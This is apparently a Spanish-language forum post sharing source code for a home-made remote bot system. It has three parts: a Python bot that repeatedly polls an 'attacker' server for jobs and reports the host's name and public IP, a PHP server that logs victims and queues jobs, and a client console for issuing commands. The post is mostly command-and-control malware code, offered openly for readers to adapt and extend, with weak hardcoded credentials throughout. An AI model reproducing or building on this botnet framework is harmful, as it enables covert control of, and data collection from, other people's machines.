Buenas gente, estoy trabajando en un proyecto en el cual
se puedan generar bots remotos customizados mediante
una propia terminal de comandos.
Cómo funciona este bot?
El atacante emite tareas a ejecutar ("jobs") mediante
la terminal del mismo; éstas se emiten mediante peticiones
de tipo POST al servidor donde el bot va a hacer preguntas
constantes para saber si hay tareas a ejecutar.
Cuando el bot encuentra un "job", guarda la fecha y la
hora en la cual se emitió este (para no volver a ejecutarlo
una y otra vez en cada loop), lo parsea convirtiéndo toda
la cadena de texto en argumentos para poder analizarla
de manera más detallada, y luego ejecuta el "job" en cuestión.
Una vez terminado el "job", se genera un mensaje de reporte
("feedback") el cual es enviado al servior, para que el atacante
pueda saber si la tarea fue ejecutada o no. Cabe destacar que
sólo se va a enviar el "feedback" si se define dentro de la
función a ejecutar.
A continuación les dejo el código base que armé pero de forma
que uds puedan modificarlo a gusto.
Estructura del bot (Python)
import requests
import socket
import time
def ip():
try: return requests.get("http://ip.42.pl/raw").text
except: return "unknown"
def query(data):
url = data["url"] + "remote.php"
return requests.post(url, data).text
data = {
"sys" : "remote_bot",
"url" : "http://192.168.0.7/", # configurable
"user" : "skollprog", # configurable
"pass" : "123456", # configurable
"id" : "bot", # configurable
"hostname" : socket.gethostname(),
"address" : ip(),
"feedback" : "Online",
"database" : "remote_db", # configurable
"jobs" : "remote_jobs", # configurable
"sync" : 1 #configurable
}
jobs = []
def job(argv):
args = len(argv)
date = argv[0] + " " + argv[1]
if not date in jobs:
jobs.append(date)
i = 0
for arg in argv:
argv[i] = arg.strip("\n")
i += 1
argv = argv[2::]
if argv[0] == "ip": data["feedback"] = ip()
while True:
try:
# buscar job
result = query(data).split(" ")
data["feedback"] = ""
job(result)
# emitir feedback
query(data)
data["feedback"] = ""
except:
pass
time.sleep(data["sync"])
Archivo Servidor (PHP)
(Este debe ir dentro del servidor al cual el bot va a hacer averiguaciones.)
<?php
if (isset($_POST["sys"]) and $_POST["sys"] == "remote_bot")
{
if (isset($_POST["user"]) and isset($_POST["pass"]))
{
$user = $_POST["user"];
$pass = $_POST["pass"];
if ($user == "skollprog" and $pass == "123456")
{
if (isset($_POST["id"]) and $_POST["id"] != "")
{
$id = $_POST["id"];
$time = date("Y-m-d H:i:s");
if (isset($_POST["job"]))
{
$job = $_POST["job"];
$jobs = $_POST["jobs"].".txt";
$data = [
$time, $job
];
$file = fopen($jobs, "w");
fwrite($file, implode(", ", $data) . "\n");
fclose($file);
}
else
{
$host = $_POST["hostname"];
$addr = $_POST["address"];
$info = $_POST["feedback"];
$db = $_POST["database"].".txt";
$jobs = $_POST["jobs"].".txt";
if ($info == "" and file_exists($jobs))
{
$data = file($jobs);
echo $data[count($data)-1];
}
else
{
if (!file_exists($db))
{
$data = [
"DATE, ID, HOSTNAME, ADDRESS, FEEDBACK\n"
];
$file = fopen($db, "w");
fwrite($file, implode(",", $data));
fclose($file);
}
if ($_POST["feedback"] != "")
{
$data = [
$time, $id, $host, $addr, $info
];
$file = fopen($db, "a+");
fwrite($file, implode(", ", $data) . "\n");
fclose($file);
}
}
}
}
}
}
}
else
{
echo "You cannot access here!";
}
?>
Consola Cliente (Python)
(Este se usa para enviar los "jobs".)
import requests
import sys
def query(data):
try:
url = data["url"] + "remote.php"
return requests.post(url, data).text
except:
return ""
data = {
"sys" : "remote_bot",
"url" : "http://192.168.0.7/", # configurable
"user" : "skollprog", # configurable
"pass" : "123456", # configurable
"id" : "bot", # configurable
"jobs" : "remote_jobs", # configurable
"job" : ""
}
while True:
sys.stdout.write("./remote_bot:// ")
job = input("")
data["job"] = job
query(data)
Para acceder a los "feedback", simplemente se debe entrar a
http://192.168.0.7/remote_db.txt
(Obviamente la url cambia según cuál hayan especificado.)
Un ejemplo de cómo se ven los "feedbacks":
DATE, ID, HOSTNAME, ADDRESS, FEEDBACK
2017-12-26 07:15:45, bot, PC-SKOLLPROG, 181.46.39.228, Online
Espero que les guste, saludos.